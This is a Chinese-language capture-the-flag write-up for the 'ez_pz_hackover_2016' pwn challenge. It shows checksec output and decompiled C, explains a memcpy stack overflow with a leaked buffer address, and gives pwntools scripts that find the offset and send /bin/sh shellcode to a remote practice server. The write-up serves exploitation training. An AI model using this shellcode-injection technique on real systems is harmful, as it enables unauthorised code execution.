checksec:

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

main函数如下:

void *chall()
{
  size_t v0; // eax
  void *result; // eax
  char s; // [esp+Ch] [ebp-40Ch]
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", &s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(&s, 1023, stdin);
  v0 = strlen(&s);
  v3 = memchr(&s, 10, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", &s);
  result = (void *)strcmp(&s, "crashme");
  if ( !result )
    result = vuln((unsigned int)&s, 0x400u);
  return result;
}

这里对输入的内容进行了检测,如果等于crashme才能执行vuln函数,vuln函数的内容如下:

void *__cdecl vuln(char src, size_t n)
{
  char dest; // [esp+6h] [ebp-32h]

  return memcpy(&dest, &src, n);
}

memcpy函数会从&src复制n个字节到&dest。这里存在明显的栈溢出。且主函数开头会将s的地址打印出来,可以利用这个地址计算和我们可控字符的偏移量,在其内写入shellcode。

首先在vuln的leave处下断点,看一下距离溢出点的距离:

from pwn import *

elf = ELF('./ez_pz_hackover_2016')

local = 1
if local == 1:
    io = process('./ez_pz_hackover_2016')
    gdb.attach(io,'b * 0x8048601')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',27637)
    #libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')

io.recvuntil("crash: ")
s_addr = int(io.recvuntil("\n",drop=True),16)

print(hex(s_addr))
io.recvuntil("> ")
shellcode = asm(shellcraft.i386.linux.sh())
payload = 'crashme\x00'+cyclic(400)
io.sendline(payload)

io.interactive()

cyclic -l aaea得到距离为14。再继续找s变量里可控位置到开头的距离:

payload = 'crashme\x00'+'a'*14+p32(0xdeadbeef)+p32(s_addr)+'shawr00t'

得到0xffab8800,此时和开头0xffab881c的距离为0x1c。

在这里写shellcode即可,最终payload如下:

from pwn import *

elf = ELF('./ez_pz_hackover_2016')

local = 0
if local == 1:
    io = process('./ez_pz_hackover_2016')
    #gdb.attach(io,'b * 0x8048601')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',27637)

io.recvuntil("crash: ")
s_addr = int(io.recvuntil("\n",drop=True),16)

print(hex(s_addr))
io.recvuntil("> ")
shellcode = asm(shellcraft.i386.linux.sh())
payload = 'crashme\x00'+'a'*14+p32(0xdeadbeef)+p32(s_addr-0x1c)+shellcode
io.sendline(payload)

io.interactive()